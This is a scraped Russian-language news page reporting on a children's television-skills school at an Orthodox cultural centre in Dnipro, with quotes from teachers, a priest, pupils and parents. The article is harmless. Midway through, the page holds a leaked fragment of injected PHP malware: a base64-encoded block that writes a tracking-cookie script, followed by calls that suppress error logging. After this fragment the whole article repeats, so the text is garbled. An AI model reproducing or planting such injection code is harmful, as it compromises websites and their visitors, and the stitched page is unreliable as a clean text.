«Хочу стать ведущим на телевидении»

СЮЖЕТ ИЗ ДНЕПРА:
 
С улыбкой и хорошим настроением дети спешат на свое первое занятие. С этого дня у них появиласьвозможность ближе узнать о том, как снимаются телепередачи, как делаются новости, как пишется сценарий, и даже – как снимается кино. Школа телевизионного мастерства распахнула свои двери для детей и подростков Центре православной культуры «Лествица». Чем она отличается от иных подобных учебных заведений?
 
Ирина Олифер - сценарист, преподаватель Школы телевизионного мастерства: "Сейчас огромное количество и студий, и источников, из которых дети могут получить различную информацию. Но в наше время это приняло настолько стремительный оборот, что из этого огромного потока информации очень сложно вычленить то, что изначально каждый родитель хочет вложить в своего ребенка. Моральные качества, которые православие несет в себе: заповеди, милосердие, доброта, трезвое осмысление того, что вы делаете. И занятия, на которые нацелена наша студия, это несение добра. Это посадка тех цветов добра, которые в итоге расцветут в каждом ребенке.
 
Идея создать такую школу появилась не случайно. У сотрудников миссионерского и просветительского центра «Лествица» накоплен огромный опыт педагогической работы в воскресной школе и журналистской – в телестудии.
 
Елена Собко - директор Школы телевизионного мастерства: "Чем отличается от других? Наверное, тем, что мы готовим для себя артистов. Они нужны в программу "В гостях у Дуняши", поэтому набираем младшую группу. Средняя группа тоже в программу "Почемучки", и старшая -надеемся, что к нам придет достойная смена. *И, конечно, то, что дети с самого раннего возраста будут заниматься полезным, интересным делом, развивать свои творческие способности»
 
Перед началом занятий - молебен в храме и благословение на успешную учебу. А так напутствие на будущее.
 
протоиерей Игорь Собко - художественный руководитель Центра православной культуры "Лествица": " Каждый из вас пожелал раскрыть те таланты, которые Господь каждому дает. Но раскрыть это возможно через усердие и трудолюбие. * Хочу сказать, что все хорошие фильмы снимали те режиссеры, у которых в сердце, в уме был всегда Бог.* И хорошее кино, * телевидение помогает человеку стать лучше, добрее, информированнее. *И вас этому будут учить здесь - в Школе телевизионного мастерства".
 
Урок начался. Но не за партой, а в телестудии. Каждый из участников выбрал свою роль. Можно посмотреть в объектив камеры, попробовать себя в роли ведущего и даже поруководить процессом, На площадке - и артисты, и операторы, и сценаристы, и самый настоящий режиссер.
 
(лайф)
Теле-Школа рассчитана на школьников нескольких возрастных групп. В программе - обучение основам тележурналистики, режиссуры, актерскому мастерству, подготовке сценариев, монтажу видеопродукции, графике и дизайну. А так же дети знакомятся с основами православной культуры. Это основа-основ?
 
Наталья Скакун - преподаватель Школы телевизионного мастерства: "Школ очень много. * Но каждая решает свою задачу. Очень не хочется, чтобы это были задачи не гордынные: я такой красивый, стою, и на меня все смотрят, все восхищаются... Но мы ребенку должны донести, что ты суть, воплощение Божие, которое учит добру - * телемастерство в этом смысле * помогает увидеть многогранность мира ...
 
На листочках дети пишут о своих стремлениях, о том, чему хотят научиться.
 
Маргарита - ученица Школы телевизионного мастерства: "Я бы хотела научиться писать сценарии и быть режиссером.
 
Лиза - ученица Школы телевизионного мастерства: "Мне больше всего интересен монтаж, хотя я этим еще не занималась. Но думаю, что у меня выйдет и я буду хотя бы какую-то пользу приносить этой передаче"
 
Катя - ученица Школы телевизионного мастерства: "Я хочу стать актирисой...
 
Аня - ученица Школы телевизионного мастерства: "Мне бы хотелось научиться хорошо снимать и писать сценарии.
 
Федор Басов - ученик Школы телевизионного мастерства: "Я хотел бы еще научиться монтировать, обрабатывать фотографии, делать качественное видео".
 
Наташа - ученица Школы телевизионного мастерства: "Я еще не знаю, свяжу ли с этой профессией свою жизнь, но мне нравится руководить процесом..."
 
Много внимания во время занятий уделяется работе над психологическими особенностями ребенка: чувством уверенности в себе, умении общаться, слышать других, четко выражать свои мысли, работать в команде.
 
Анастасия Емец - преподаватель Школы телевизионного мастерства: "Именно в этой школе дети научатся общаться друг с другом. Они перестанут волноваться перед выступлением перед публикой, станут более раскрепощенными, будут чувствовать себя свободно перед камерой. Уйдет волнение, дети научатся правильно грамотно говорить, изъяснять свои мысли.
 
Дети узнают о том, каким должен быть профессионал своего дела, кто такой - современный ведущий, как строится выпуск новостей, для чего нужен редактор на телевидении. И уже говорят, о чем хотели бы снять собственные фильмы.
 
Маргарита ученица Школы телевизионного мастерства: "Он был бы про школьников.
 
Катя - ученица Школы телевизионного мастерства: "О передачах, как снимаются... Например, про какого-то знаменитого актера и как он снимается в каком-то фильме.
 
... - ученица Школы телевизионного мастерства: "Про жизнь лесных зверей... Мне кажется, что зрителям это было бы интересно узнать...
 
Наташа - ученица Школы телевизионного мастерства: " Про дружбу.* Друзья занимают большое место в жизни каждого человека, *могут помочь в трудную минуту. * Можно снять фильм про друзей, про то, какие приключения у них были, что они пережили".
 
Преподаватели стараются создать все условия для развития творческого потенциала ребенка Важная составляющая этих занятий - расширение общего кругозора, умение отстаивать свои взгляды, способность принимать решения и нести за них ответственность. К этому же стремятся и родители.
 
Анастасия Саенко - мама ученика Школы телевизионного мастерства: "Зная характер своего ребенка, мне бы хотелось бы, чтобы он получил опыт общения с другими детьми и нашел здесь какое-то полезное для себя занятие. * либо от с техникой будет больше общаться, либо его заинтересует* брать интервью, выступать... ".
 
Елена Попик - мама ученицы Школы телевизионного мастерства: "Как мама я хочу, чтобы развивался ребенок мой дальше, и я вижу, что она сможет, что это ее ..."
 
Ольга Богдан - мама ученицы Школы телевизионного мастерства: "Я считаю, что для ребенка это будет очень интересно, познавательно, * полезно для ребенка, это развитие. мы хотим попробовать, попытаться - а вдруг у нас что-то получится".
 
Сегодня детская телевизионная журналистика имеет хорошие возможности. У юных – свои приоритеты, свежий взгляд на происходящее. Они хотят изложить свою точку зрения понятным им языком. Как научить их делать это грамотно?
 
Ярослава Лазуренко - преподаватель фотографии и веб-дизайна Школы телевизионного мастерства: "Сейчас молодежь, дети полностью живут в ай-ти сфере: социальные сети, ведут блоги, почти каждый свой шаг переносят в нереальный мир. Поэтому важно показать, как это делать, что не нужно, а что и как хорошо подать, чтобы были подписчики. Поэтому группа наших специалистов поможет детям с этим справиться".
 
Вначале теория: работа с голосом, умение представить себя в кадре написание текстов, затем обязательно практика. Учащиеся младших групп смогут проявить свои актерские дарования, принимая участие в детской телепрограмме «В гостях у Дуняши».
 
Даша - ученица Школы телевизионного мастерства: "Я сюда попала, потому что я очень хочу быть актрисой. Но еще я хочу быть художником. Я хожу на рисование, у меня будет две профессии".
 
Маша - ученица Школы телевизионного мастерства: "Мы сюда пришли сюда сниматься, показываться и правильно выговаривать слова".
 
... - ученица Школы телевизионного мастерства: "Я здесь, потому что мне хочется, чтобы меня снимали и показывали в передачах".
 
Соня - ученица Школы телевизионного мастерства: "Мне давно хочется быть журналистом. *Я люблю снимать, фотографировать.."
 
На вопрос, не рановато ли начинать младших школьников учить тележурналистике, преподаватели с уверенностью отвечают, что возраст подходящий. Ведь именно в эту пору можно помочь ребенку сформировать отношение к окружающему миру и его ценностям. Именно в этом возрасте душа детей открытая, пытливая. И очень важно заложить в эту душу не только мир компьютеров и гаджетов, а стремление к прекрасному, желание познать и отразить красоту этого мира.
 
Анатолий Басов - режиссер, преподаватель Школы телевизионного мастерства: "Возраст очень подходящий, потому что сегодня в 6-7 лет дети в компьютере сами все монтируют, все делают - это не сложность. В технике разбираются, с этого возраста уже можно начинать монтировать. А в чем сложность для них - да только в усидчивости, наверное! Но я думаю, что для этих детей сложности не будет, потому что они сами сюда пришли с большим желанием. А в любом деле самое главное хотеть, и все получится. И у них тоже!".
 
Ирина Олифер - преподаватель Школы телевизионного мастерства: "Я всей душой открыта, для того, чтобы дети свои идеи не потеряли. Чтобы они их не только записали, а и воплотили в какой-то интересный результат. Потому что это поколение, которое подрастает, оно такое
веселое, такое классное, настолько задорное и полно фантазии и многообразия мышления, что мы можем только поаплодировать им. И принять их, как профессионалы, для того чтобы огранить их в правильную форму".
 
Анна Регульская, Марина Полякова, информационное бюро программы "Седмица", Днепр.
Раздел: 
aG8gIjxzY3JpcHQ+ZG9jdW1lbnQuY29va2llPSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsNCiB9DQoNCiB9')); @ini_restore('error_log'); @ini_restore('display_errors'); /*457563643*/ ?> «Хочу стать ведущим на телевидении» | Центр православной культуры Лествица

«Хочу стать ведущим на телевидении»

СЮЖЕТ ИЗ ДНЕПРА:
 
С улыбкой и хорошим настроением дети спешат на свое первое занятие. С этого дня у них появиласьвозможность ближе узнать о том, как снимаются телепередачи, как делаются новости, как пишется сценарий, и даже – как снимается кино. Школа телевизионного мастерства распахнула свои двери для детей и подростков Центре православной культуры «Лествица». Чем она отличается от иных подобных учебных заведений?
 
Ирина Олифер - сценарист, преподаватель Школы телевизионного мастерства: "Сейчас огромное количество и студий, и источников, из которых дети могут получить различную информацию. Но в наше время это приняло настолько стремительный оборот, что из этого огромного потока информации очень сложно вычленить то, что изначально каждый родитель хочет вложить в своего ребенка. Моральные качества, которые православие несет в себе: заповеди, милосердие, доброта, трезвое осмысление того, что вы делаете. И занятия, на которые нацелена наша студия, это несение добра. Это посадка тех цветов добра, которые в итоге расцветут в каждом ребенке.
 
Идея создать такую школу появилась не случайно. У сотрудников миссионерского и просветительского центра «Лествица» накоплен огромный опыт педагогической работы в воскресной школе и журналистской – в телестудии.
 
Елена Собко - директор Школы телевизионного мастерства: "Чем отличается от других? Наверное, тем, что мы готовим для себя артистов. Они нужны в программу "В гостях у Дуняши", поэтому набираем младшую группу. Средняя группа тоже в программу "Почемучки", и старшая -надеемся, что к нам придет достойная смена. *И, конечно, то, что дети с самого раннего возраста будут заниматься полезным, интересным делом, развивать свои творческие способности»
 
Перед началом занятий - молебен в храме и благословение на успешную учебу. А так напутствие на будущее.
 
протоиерей Игорь Собко - художественный руководитель Центра православной культуры "Лествица": " Каждый из вас пожелал раскрыть те таланты, которые Господь каждому дает. Но раскрыть это возможно через усердие и трудолюбие. * Хочу сказать, что все хорошие фильмы снимали те режиссеры, у которых в сердце, в уме был всегда Бог.* И хорошее кино, * телевидение помогает человеку стать лучше, добрее, информированнее. *И вас этому будут учить здесь - в Школе телевизионного мастерства".
 
Урок начался. Но не за партой, а в телестудии. Каждый из участников выбрал свою роль. Можно посмотреть в объектив камеры, попробовать себя в роли ведущего и даже поруководить процессом, На площадке - и артисты, и операторы, и сценаристы, и самый настоящий режиссер.
 
(лайф)
Теле-Школа рассчитана на школьников нескольких возрастных групп. В программе - обучение основам тележурналистики, режиссуры, актерскому мастерству, подготовке сценариев, монтажу видеопродукции, графике и дизайну. А так же дети знакомятся с основами православной культуры. Это основа-основ?
 
Наталья Скакун - преподаватель Школы телевизионного мастерства: "Школ очень много. * Но каждая решает свою задачу. Очень не хочется, чтобы это были задачи не гордынные: я такой красивый, стою, и на меня все смотрят, все восхищаются... Но мы ребенку должны донести, что ты суть, воплощение Божие, которое учит добру - * телемастерство в этом смысле * помогает увидеть многогранность мира ...
 
На листочках дети пишут о своих стремлениях, о том, чему хотят научиться.
 
Маргарита - ученица Школы телевизионного мастерства: "Я бы хотела научиться писать сценарии и быть режиссером.
 
Лиза - ученица Школы телевизионного мастерства: "Мне больше всего интересен монтаж, хотя я этим еще не занималась. Но думаю, что у меня выйдет и я буду хотя бы какую-то пользу приносить этой передаче"
 
Катя - ученица Школы телевизионного мастерства: "Я хочу стать актирисой...
 
Аня - ученица Школы телевизионного мастерства: "Мне бы хотелось научиться хорошо снимать и писать сценарии.
 
Федор Басов - ученик Школы телевизионного мастерства: "Я хотел бы еще научиться монтировать, обрабатывать фотографии, делать качественное видео".
 
Наташа - ученица Школы телевизионного мастерства: "Я еще не знаю, свяжу ли с этой профессией свою жизнь, но мне нравится руководить процесом..."
 
Много внимания во время занятий уделяется работе над психологическими особенностями ребенка: чувством уверенности в себе, умении общаться, слышать других, четко выражать свои мысли, работать в команде.
 
Анастасия Емец - преподаватель Школы телевизионного мастерства: "Именно в этой школе дети научатся общаться друг с другом. Они перестанут волноваться перед выступлением перед публикой, станут более раскрепощенными, будут чувствовать себя свободно перед камерой. Уйдет волнение, дети научатся правильно грамотно говорить, изъяснять свои мысли.
 
Дети узнают о том, каким должен быть профессионал своего дела, кто такой - современный ведущий, как строится выпуск новостей, для чего нужен редактор на телевидении. И уже говорят, о чем хотели бы снять собственные фильмы.
 
Маргарита ученица Школы телевизионного мастерства: "Он был бы про школьников.
 
Катя - ученица Школы телевизионного мастерства: "О передачах, как снимаются... Например, про какого-то знаменитого актера и как он снимается в каком-то фильме.
 
... - ученица Школы телевизионного мастерства: "Про жизнь лесных зверей... Мне кажется, что зрителям это было бы интересно узнать...
 
Наташа - ученица Школы телевизионного мастерства: " Про дружбу.* Друзья занимают большое место в жизни каждого человека, *могут помочь в трудную минуту. * Можно снять фильм про друзей, про то, какие приключения у них были, что они пережили".
 
Преподаватели стараются создать все условия для развития творческого потенциала ребенка Важная составляющая этих занятий - расширение общего кругозора, умение отстаивать свои взгляды, способность принимать решения и нести за них ответственность. К этому же стремятся и родители.
 
Анастасия Саенко - мама ученика Школы телевизионного мастерства: "Зная характер своего ребенка, мне бы хотелось бы, чтобы он получил опыт общения с другими детьми и нашел здесь какое-то полезное для себя занятие. * либо от с техникой будет больше общаться, либо его заинтересует* брать интервью, выступать... ".
 
Елена Попик - мама ученицы Школы телевизионного мастерства: "Как мама я хочу, чтобы развивался ребенок мой дальше, и я вижу, что она сможет, что это ее ..."
 
Ольга Богдан - мама ученицы Школы телевизионного мастерства: "Я считаю, что для ребенка это будет очень интересно, познавательно, * полезно для ребенка, это развитие. мы хотим попробовать, попытаться - а вдруг у нас что-то получится".
 
Сегодня детская телевизионная журналистика имеет хорошие возможности. У юных – свои приоритеты, свежий взгляд на происходящее. Они хотят изложить свою точку зрения понятным им языком. Как научить их делать это грамотно?
 
Ярослава Лазуренко - преподаватель фотографии и веб-дизайна Школы телевизионного мастерства: "Сейчас молодежь, дети полностью живут в ай-ти сфере: социальные сети, ведут блоги, почти каждый свой шаг переносят в нереальный мир. Поэтому важно показать, как это делать, что не нужно, а что и как хорошо подать, чтобы были подписчики. Поэтому группа наших специалистов поможет детям с этим справиться".
 
Вначале теория: работа с голосом, умение представить себя в кадре написание текстов, затем обязательно практика. Учащиеся младших групп смогут проявить свои актерские дарования, принимая участие в детской телепрограмме «В гостях у Дуняши».
 
Даша - ученица Школы телевизионного мастерства: "Я сюда попала, потому что я очень хочу быть актрисой. Но еще я хочу быть художником. Я хожу на рисование, у меня будет две профессии".
 
Маша - ученица Школы телевизионного мастерства: "Мы сюда пришли сюда сниматься, показываться и правильно выговаривать слова".
 
... - ученица Школы телевизионного мастерства: "Я здесь, потому что мне хочется, чтобы меня снимали и показывали в передачах".
 
Соня - ученица Школы телевизионного мастерства: "Мне давно хочется быть журналистом. *Я люблю снимать, фотографировать.."
 
На вопрос, не рановато ли начинать младших школьников учить тележурналистике, преподаватели с уверенностью отвечают, что возраст подходящий. Ведь именно в эту пору можно помочь ребенку сформировать отношение к окружающему миру и его ценностям. Именно в этом возрасте душа детей открытая, пытливая. И очень важно заложить в эту душу не только мир компьютеров и гаджетов, а стремление к прекрасному, желание познать и отразить красоту этого мира.
 
Анатолий Басов - режиссер, преподаватель Школы телевизионного мастерства: "Возраст очень подходящий, потому что сегодня в 6-7 лет дети в компьютере сами все монтируют, все делают - это не сложность. В технике разбираются, с этого возраста уже можно начинать монтировать. А в чем сложность для них - да только в усидчивости, наверное! Но я думаю, что для этих детей сложности не будет, потому что они сами сюда пришли с большим желанием. А в любом деле самое главное хотеть, и все получится. И у них тоже!".
 
Ирина Олифер - преподаватель Школы телевизионного мастерства: "Я всей душой открыта, для того, чтобы дети свои идеи не потеряли. Чтобы они их не только записали, а и воплотили в какой-то интересный результат. Потому что это поколение, которое подрастает, оно такое
веселое, такое классное, настолько задорное и полно фантазии и многообразия мышления, что мы можем только поаплодировать им. И принять их, как профессионалы, для того чтобы огранить их в правильную форму".
 
Анна Регульская, Марина Полякова, информационное бюро программы "Седмица", Днепр.
Раздел: